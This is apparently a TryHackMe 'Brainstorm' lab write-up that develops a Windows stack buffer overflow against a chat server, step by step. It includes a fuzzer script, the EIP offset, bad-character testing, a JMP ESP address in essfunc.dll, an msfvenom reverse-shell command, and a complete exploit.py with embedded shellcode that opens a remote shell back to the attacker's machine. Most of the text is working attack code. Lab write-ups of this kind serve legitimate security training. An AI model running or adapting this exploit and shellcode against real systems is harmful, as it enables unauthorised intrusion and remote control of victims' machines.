Room Link: https://tryhackme.com/room/brainstorm
Deploy Machine and Scan Network
Accessing Files
Copy ftp $VICTIM
Username: anonymous
Password: N/A
ftp> ls
ftp> binary
ftp> cd chatserver
ftp> mget *
Access
I first sending the programming to my test machine and hosting the program there to try crashing the program. There are two fields, the username and message fields. I transfered the file over to a test Windows machine used in the Buffer Overflow prep room.
Kali
Copy xfreerdp /u:admin /p:password /cert:ignore /v:$TESTMACHINE /workarea +clipboard
python2 -m SimpleHTTPServer 81
Test Machine
Downloaded the files.
Crash Replication & Controlling EIP
Initially I just try to crash the program manually. The username field can accept much more characters compared to the message field as I was able to crash the program by entering 3000 As in it but for the Username field it was able to still run with it in. 3000 As did the trick but I want to find exactly how many characters I need to crash it and doing it manually is not convenient.
Copy python -c 'print("A"* 3000)'
nc -v $TESTMACHINE 9999
fuzzer.py
Created this program to see how many characters it would take to crash the program
Copy #!/usr/bin/env python3
import socket, time, sys
try:
ip = str(sys.argv[1])
port = int(sys.argv[2])
print (ip+":"+str(port))
timeout = 5
prefix = ""
name = "Jeff"
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Sending Username".format(len(string) - len(prefix)))
s.send(bytes(name, "latin-1"))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
except:
print ("\nCould not connect!")
sys.exit()
It took 2300 before the program crashed.
I then used pattern_create to make my payload and then added to my new script exploit.py
Copy /opt/metasploit-framework-5101/tools/exploit/pattern_create.rb -l 2300
exploit.py
Copy import socket, time, sys
try:
ip = str(sys.argv[1])
port = int(sys.argv[2])
print (ip+":"+str(port))
name = "Jeff"
prefix = ""
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy"
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(name, "latin-1"))
s.recv(1024)
s.send(bytes(buffer + "\r\n", "latin-1"))
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
except:
print ("\nCould not connect!")
sys.exit()
I ran exploit.py against the program with immunity debugger attached. Then I was able to find the offset of EIP which is 2012.
Kali
Copy python exploit.py $TESTMACHINE 1337
Immunity Debugger
Copy !mona findmsp -distance 2300
exploit.py - Code Changes #1
I added the offset and removed the pattern_create output. This will fill EIP with our Bs.
Copy import socket, time, sys
try:
ip = str(sys.argv[1])
port = int(sys.argv[2])
print (ip+":"+str(port))
name = "Jeff"
prefix = ""
offset = 2012
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(name, "latin-1"))
s.recv(1024)
s.send(bytes(buffer + "\r\n", "latin-1"))
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
except:
print ("\nCould not connect!")
sys.exit()
Kali
After running the program again we now can fill EIP with our Bs so we now have control of EIP.
Copy python exploit.py $TESTMACHINE 9000
Finding Bad Characters
Kali
Now we changed the program to look for bad characters so we don't later use those bad characters when generating our payload. We do this by setting our payload to all possible characters, than follow EIP to see which characters aren't showing up. To do this we just have to keep running our exploit and removing the bad characters one by one. There were no bad characters found so we will just add \x00.
Copy python exploit.py $TESTMACHINE 9000
exploit.py - Code Changes #2
Copy import socket, time, sys
badChars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f"
"\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f"
"\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f"
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf"
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf"
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef"
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
try:
ip = str(sys.argv[1])
port = int(sys.argv[2])
print (ip+":"+str(port))
name = "Jeff"
prefix = ""
offset = 2012
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = badChars
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(name, "latin-1"))
s.recv(1024)
s.send(bytes(buffer + "\r\n", "latin-1"))
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
except:
print ("\nCould not connect!")
sys.exit()
Finding a Jump Point
Now we need to find a place to jump to to run our payload. We find there is only one place that will meets our conditions that we need which is an address with SafeSEH, ASLR, and NXCompat disabled and the memory address doesn't start with 0x00. ex: 0x0040000 won't work, 0x100000 will work. essfunc.dll meets this criteria.
Immunity Debugger
We find that essfunc.dll has 9 possible JMP ESPs to use. So we will start with the first oneand move our way down, the first one didn't work but the second one 0x625014eb did but when we add it to our code we need it in little endian format so it becomes \xeb\x14\x50\x62.
Immunity Debugger
Copy !mona find -s "\xff\xe4" -m essfunc.dll
Exploit - Staging
Now that we have the return address to use, we just need to generate our payload without using the bad characters found previously. I also added 16 NOPs before the payload as suggested in the room. All that is left is to is to update our code with our payload and run it against the program.
Copy msfvenom -p windows/shell_reverse_tcp LHOST=$KALI LPORT=4444 EXITFUNC=thread -b "\x00" -f c
exploit.py - Code Changes #3
Copy import socket, time, sys
try:
ip = str(sys.argv[1])
port = int(sys.argv[2])
print (ip+":"+str(port))
name = "Jeff"
prefix = ""
offset = 2012
overflow = "A" * offset
retn = "\xeb\x14\x50\x62"
padding = "\x90" * 16
payload = ("\xb8\xdc\x93\xe8\x86\xdb\xd5\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1"
"\x52\x31\x42\x12\x03\x42\x12\x83\x1e\x97\x0a\x73\x62\x70\x48"
"\x7c\x9a\x81\x2d\xf4\x7f\xb0\x6d\x62\xf4\xe3\x5d\xe0\x58\x08"
"\x15\xa4\x48\x9b\x5b\x61\x7f\x2c\xd1\x57\x4e\xad\x4a\xab\xd1"
"\x2d\x91\xf8\x31\x0f\x5a\x0d\x30\x48\x87\xfc\x60\x01\xc3\x53"
"\x94\x26\x99\x6f\x1f\x74\x0f\xe8\xfc\xcd\x2e\xd9\x53\x45\x69"
"\xf9\x52\x8a\x01\xb0\x4c\xcf\x2c\x0a\xe7\x3b\xda\x8d\x21\x72"
"\x23\x21\x0c\xba\xd6\x3b\x49\x7d\x09\x4e\xa3\x7d\xb4\x49\x70"
"\xff\x62\xdf\x62\xa7\xe1\x47\x4e\x59\x25\x11\x05\x55\x82\x55"
"\x41\x7a\x15\xb9\xfa\x86\x9e\x3c\x2c\x0f\xe4\x1a\xe8\x4b\xbe"
"\x03\xa9\x31\x11\x3b\xa9\x99\xce\x99\xa2\x34\x1a\x90\xe9\x50"
"\xef\x99\x11\xa1\x67\xa9\x62\x93\x28\x01\xec\x9f\xa1\x8f\xeb"
"\xe0\x9b\x68\x63\x1f\x24\x89\xaa\xe4\x70\xd9\xc4\xcd\xf8\xb2"
"\x14\xf1\x2c\x14\x44\x5d\x9f\xd5\x34\x1d\x4f\xbe\x5e\x92\xb0"
"\xde\x61\x78\xd9\x75\x98\xeb\xec\x83\xd5\x48\x98\x91\x19\x9e"
"\x05\x1f\xff\xca\xa5\x49\xa8\x62\x5f\xd0\x22\x12\xa0\xce\x4f"
"\x14\x2a\xfd\xb0\xdb\xdb\x88\xa2\x8c\x2b\xc7\x98\x1b\x33\xfd"
"\xb4\xc0\xa6\x9a\x44\x8e\xda\x34\x13\xc7\x2d\x4d\xf1\xf5\x14"
"\xe7\xe7\x07\xc0\xc0\xa3\xd3\x31\xce\x2a\x91\x0e\xf4\x3c\x6f"
"\x8e\xb0\x68\x3f\xd9\x6e\xc6\xf9\xb3\xc0\xb0\x53\x6f\x8b\x54"
"\x25\x43\x0c\x22\x2a\x8e\xfa\xca\x9b\x67\xbb\xf5\x14\xe0\x4b"
"\x8e\x48\x90\xb4\x45\xc9\xb0\x56\x4f\x24\x59\xcf\x1a\x85\x04"
"\xf0\xf1\xca\x30\x73\xf3\xb2\xc6\x6b\x76\xb6\x83\x2b\x6b\xca"
"\x9c\xd9\x8b\x79\x9c\xcb"
)
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(name, "latin-1"))
s.recv(1024)
s.send(bytes(buffer + "\r\n", "latin-1"))
s.recv(1024)
print("Done!")
except:
print("Could not connect.")
except:
print ("\nCould not connect!")
sys.exit()
Kali #1
Kali #2
Copy python exploit.py $VICTIM 1337
Exploit - Prod
We now run the exact same code against our actual server we are trying to exploit and it works right away.
Kali #1
Kali #2
Copy python exploit.py $VICTIM 1337